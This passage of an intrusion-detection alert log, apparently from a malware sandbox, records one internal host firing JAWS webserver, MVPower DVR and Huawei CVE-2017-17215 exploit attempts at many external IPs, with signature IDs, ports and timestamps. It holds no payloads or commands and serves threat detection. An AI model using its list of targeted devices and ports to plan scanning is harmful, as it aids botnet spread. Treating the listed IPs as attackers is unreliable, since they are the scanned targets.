SID:	2030092
Source Port:	40942
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 72.52.64.48

Timestamp:	04/14/24-04:00:27.655686
SID:	2030092
Source Port:	49288
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 93.242.171.185

Timestamp:	04/14/24-04:00:27.150830
SID:	2030092
Source Port:	35758
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 128.199.35.43

Timestamp:	04/14/24-03:59:56.395409
SID:	2025883
Source Port:	39044
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 155.94.203.145

Timestamp:	04/14/24-03:59:56.620149
SID:	2030092
Source Port:	47516
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 66.110.42.91

Timestamp:	04/14/24-04:00:07.951322
SID:	2030092
Source Port:	60794
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 116.211.203.36

Timestamp:	04/14/24-04:00:33.862232
SID:	2030092
Source Port:	60138
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 185.211.1.42

Timestamp:	04/14/24-03:59:56.475226
SID:	2025883
Source Port:	40676
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 219.89.83.149

Timestamp:	04/14/24-04:00:19.094411
SID:	2025883
Source Port:	47800
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.237.67.251

Timestamp:	04/14/24-04:00:05.906716
SID:	2030092
Source Port:	49502
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 13.93.52.223

Timestamp:	04/14/24-04:00:13.892373
SID:	2025883
Source Port:	43604
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.160.109.225

Timestamp:	04/14/24-04:00:13.573393
SID:	2025883
Source Port:	58594
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.201.55.87

Timestamp:	04/14/24-04:00:33.305714
SID:	2030092
Source Port:	58732
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 35.157.77.150

Timestamp:	04/14/24-04:00:24.904149
SID:	2025883
Source Port:	57862
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.189.76.131

Timestamp:	04/14/24-03:59:56.542570
SID:	2025883
Source Port:	40852
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.152.60.111

Timestamp:	04/14/24-04:00:33.468227
SID:	2030092
Source Port:	43274
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.202.24.22

Timestamp:	04/14/24-04:00:24.601893
SID:	2030092
Source Port:	47330
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 212.57.38.177

Timestamp:	04/14/24-04:00:27.848697
SID:	2025883
Source Port:	35284
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.160.106.95

Timestamp:	04/14/24-04:00:19.858817
SID:	2025883
Source Port:	57464
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.201.149.71

Timestamp:	04/14/24-04:00:16.750059
SID:	2025883
Source Port:	33964
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 163.171.146.85

Timestamp:	04/14/24-04:00:15.908794
SID:	2025883
Source Port:	56296
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 212.237.177.195

Timestamp:	04/14/24-04:00:12.893366
SID:	2025883
Source Port:	48228
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 172.65.79.88

Timestamp:	04/14/24-04:00:06.634158
SID:	2025883
Source Port:	56658
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.87.176.106

Timestamp:	04/14/24-04:00:16.769308
SID:	2030092
Source Port:	46822
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 68.183.83.157

Timestamp:	04/14/24-04:00:18.371927
SID:	2030092
Source Port:	40378
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.226.190.230

Timestamp:	04/14/24-04:00:27.002241
SID:	2030092
Source Port:	45474
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.92.98.240

Timestamp:	04/14/24-04:00:15.916863
SID:	2025883
Source Port:	43176
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 217.69.189.94

Timestamp:	04/14/24-03:59:56.460437
SID:	2030092
Source Port:	54444
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.99.60

Timestamp:	04/14/24-04:00:24.386941
SID:	2835222
Source Port:	39306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 47.109.133.217

Timestamp:	04/14/24-03:59:56.488173
SID:	2025883
Source Port:	35310
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 39.119.118.131

Timestamp:	04/14/24-04:00:20.914209
SID:	2025883
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 5.188.88.39

Timestamp:	04/14/24-04:00:27.160737
SID:	2025883
Source Port:	52834
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 102.134.8.105

Timestamp:	04/14/24-04:00:34.194978
SID:	2030092
Source Port:	59206
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 217.69.189.94

Timestamp:	04/14/24-03:59:56.468386
SID:	2025883
Source Port:	54440
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.207.81.150

Timestamp:	04/14/24-04:00:19.688340
SID:	2025883
Source Port:	57582
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.237.177.195

Timestamp:	04/14/24-04:00:12.893366
SID:	2030092
Source Port:	48228
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.238.16.192

Timestamp:	04/14/24-04:00:05.429439
SID:	2025883
Source Port:	37398
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 83.233.58.217

Timestamp:	04/14/24-04:00:20.224575
SID:	2030092
Source Port:	39974
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 188.128.159.3

Timestamp:	04/14/24-04:00:24.923757
SID:	2025883
Source Port:	41946
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 106.58.218.164

Timestamp:	04/14/24-04:00:08.121384
SID:	2030092
Source Port:	50814
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.209.128.5

Timestamp:	04/14/24-04:00:25.068777
SID:	2030092
Source Port:	50562
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 75.103.70.104

Timestamp:	04/14/24-04:00:25.581404
SID:	2030092
Source Port:	35162
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 202.31.182.14

Timestamp:	04/14/24-04:00:29.929324
SID:	2025883
Source Port:	38216
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 66.11.137.84

Timestamp:	04/14/24-04:00:13.719016
SID:	2025883
Source Port:	41808
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 200.10.37.35

Timestamp:	04/14/24-04:00:13.402621
SID:	2030092
Source Port:	39792
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 190.166.143.122

Timestamp:	04/14/24-04:00:27.033265
SID:	2030092
Source Port:	52522
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.202.24.22

Timestamp:	04/14/24-04:00:24.601893
SID:	2025883
Source Port:	47330
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 95.179.150.90

Timestamp:	04/14/24-04:00:12.881254
SID:	2025883
Source Port:	55478
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 199.250.209.11

Timestamp:	04/14/24-04:00:33.109300
SID:	2025883
Source Port:	45764
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 13.226.190.230

Timestamp:	04/14/24-04:00:27.002241
SID:	2025883
Source Port:	45474
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 173.243.14.101

Timestamp:	04/14/24-04:00:25.795005
SID:	2025883
Source Port:	43836
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 39.106.19.0

Timestamp:	04/14/24-04:00:29.946135
SID:	2030092
Source Port:	40734
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.33.164.127

Timestamp:	04/14/24-04:00:25.815344
SID:	2030092
Source Port:	35536
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.66.220.6

Timestamp:	04/14/24-04:00:16.773980
SID:	2030092
Source Port:	35366
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.222.201.190

Timestamp:	04/14/24-04:00:15.921730
SID:	2025883
Source Port:	46882
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 140.248.164.226

Timestamp:	04/14/24-04:00:30.748808
SID:	2030092
Source Port:	48560
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.93.52.223

Timestamp:	04/14/24-04:00:13.892373
SID:	2030092
Source Port:	43604
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 180.188.192.104

Timestamp:	04/14/24-04:00:13.899234
SID:	2030092
Source Port:	33350
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 62.234.164.32

Timestamp:	04/14/24-04:00:05.121695
SID:	2030092
Source Port:	41676
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.207.81.150

Timestamp:	04/14/24-04:00:27.477239
SID:	2030092
Source Port:	58094
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.36.162.97

Timestamp:	04/14/24-04:00:08.079132
SID:	2030092
Source Port:	57136
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 66.110.42.91

Timestamp:	04/14/24-04:00:07.951322
SID:	2025883
Source Port:	60794
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 46.101.57.158

Timestamp:	04/14/24-04:00:05.431440
SID:	2030092
Source Port:	38008
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.175.123.116

Timestamp:	04/14/24-04:00:24.508933
SID:	2030092
Source Port:	43622
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.207.75.27

Timestamp:	04/14/24-04:00:29.536616
SID:	2030092
Source Port:	57620
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.85.249.119

Timestamp:	04/14/24-04:00:17.027065
SID:	2030092
Source Port:	54860
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 92.54.13.41

Timestamp:	04/14/24-04:00:25.910501
SID:	2030092
Source Port:	60514
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.139.67.159

Timestamp:	04/14/24-03:59:56.961818
SID:	2030092
Source Port:	35044
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 91.201.55.87

Timestamp:	04/14/24-04:00:33.305714
SID:	2025883
Source Port:	58732
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 95.84.156.68

Timestamp:	04/14/24-04:00:13.919372
SID:	2025883
Source Port:	53970
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.201.149.71

Timestamp:	04/14/24-04:00:16.750059
SID:	2030092
Source Port:	33964
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 82.163.72.143

Timestamp:	04/14/24-04:00:17.008341
SID:	2030092
Source Port:	58686
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 93.191.192.124

Timestamp:	04/14/24-04:00:08.908495
SID:	2025883
Source Port:	58672
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 200.10.37.35

Timestamp:	04/14/24-04:00:13.402621
SID:	2025883
Source Port:	39792
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.201.149.71

Timestamp:	04/14/24-04:00:18.213865
SID:	2030092
Source Port:	34004
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 83.233.58.217

Timestamp:	04/14/24-04:00:20.224575
SID:	2025883
Source Port:	39974
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 187.153.32.88

Timestamp:	04/14/24-04:00:05.652987
SID:	2025883
Source Port:	55754
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 217.69.189.94

Timestamp:	04/14/24-03:59:56.460437
SID:	2025883
Source Port:	54444
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 190.166.143.122

Timestamp:	04/14/24-04:00:27.033265
SID:	2025883
Source Port:	52522
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 182.214.1.81

Timestamp:	04/14/24-04:00:34.980933
SID:	2030092
Source Port:	55322
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.167.72.190

Timestamp:	04/14/24-04:00:33.109128
SID:	2025883
Source Port:	39136
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 132.174.251.208

Timestamp:	04/14/24-04:00:06.859021
SID:	2030092
Source Port:	55492
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 76.53.156.26

Timestamp:	04/14/24-04:00:29.402964
SID:	2025883
Source Port:	54972
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 179.53.185.182

Timestamp:	04/14/24-04:00:33.547488
SID:	2030092
Source Port:	44568
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 78.4.115.21

Timestamp:	04/14/24-04:00:33.276664
SID:	2025883
Source Port:	55714
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.238.16.192

Timestamp:	04/14/24-04:00:05.429439
SID:	2030092
Source Port:	37398
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.66.220.6

Timestamp:	04/14/24-04:00:16.773980
SID:	2025883
Source Port:	35366
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 62.234.164.32

Timestamp:	04/14/24-04:00:05.121695
SID:	2025883
Source Port:	41676
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.207.81.150

Timestamp:	04/14/24-04:00:27.477239
SID:	2025883
Source Port:	58094
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 39.106.19.0

Timestamp:	04/14/24-04:00:29.946135
SID:	2025883
Source Port:	40734
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.51.193.217

Timestamp:	04/14/24-04:00:16.706077
SID:	2030092
Source Port:	54832
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 102.134.8.105

Timestamp:	04/14/24-04:00:34.194978
SID:	2025883
Source Port:	59206
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 5.188.88.39

Timestamp:	04/14/24-04:00:27.160737
SID:	2030092
Source Port:	52834
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 74.192.141.13

Timestamp:	04/14/24-04:00:24.488437
SID:	2030092
Source Port:	40808
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.179.150.90

Timestamp:	04/14/24-04:00:12.881254
SID:	2030092
Source Port:	55478
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 199.250.209.11

Timestamp:	04/14/24-04:00:33.109300
SID:	2030092
Source Port:	45764
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 129.28.53.189

Timestamp:	04/14/24-04:00:12.937605
SID:	2025883
Source Port:	38666
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.222.201.190

Timestamp:	04/14/24-04:00:15.921730
SID:	2030092
Source Port:	46882
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.152.59.1

Timestamp:	04/14/24-04:00:20.812130
SID:	2030092
Source Port:	58764
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 187.153.32.88

Timestamp:	04/14/24-04:00:05.652987
SID:	2030092
Source Port:	55754
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.84.156.68

Timestamp:	04/14/24-04:00:13.919372
SID:	2030092
Source Port:	53970
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.201.149.71

Timestamp:	04/14/24-04:00:18.213865
SID:	2025883
Source Port:	34004
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 13.33.164.127

Timestamp:	04/14/24-04:00:25.815344
SID:	2025883
Source Port:	35536
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 39.119.118.131

Timestamp:	04/14/24-04:00:20.914209
SID:	2030092
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.227.200.135

Timestamp:	04/14/24-04:00:27.860863
SID:	2030092
Source Port:	56686
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 138.201.205.149

Timestamp:	04/14/24-04:00:33.615201
SID:	2030092
Source Port:	43618
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 108.175.123.116

Timestamp:	04/14/24-04:00:24.508933
SID:	2025883
Source Port:	43622
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.99.60

Timestamp:	04/14/24-04:00:24.386941
SID:	2829579
Source Port:	39306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 217.69.189.94

Timestamp:	04/14/24-03:59:56.468386
SID:	2030092
Source Port:	54440
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 197.26.114.150

Timestamp:	04/14/24-04:00:05.520888
SID:	2025883
Source Port:	42544
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 150.60.98.40

Timestamp:	04/14/24-04:00:05.058210
SID:	2030092
Source Port:	43136
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 46.101.57.158

Timestamp:	04/14/24-04:00:05.431440
SID:	2025883
Source Port:	38008
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 132.174.251.208

Timestamp:	04/14/24-04:00:06.859021
SID:	2025883
Source Port:	55492
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

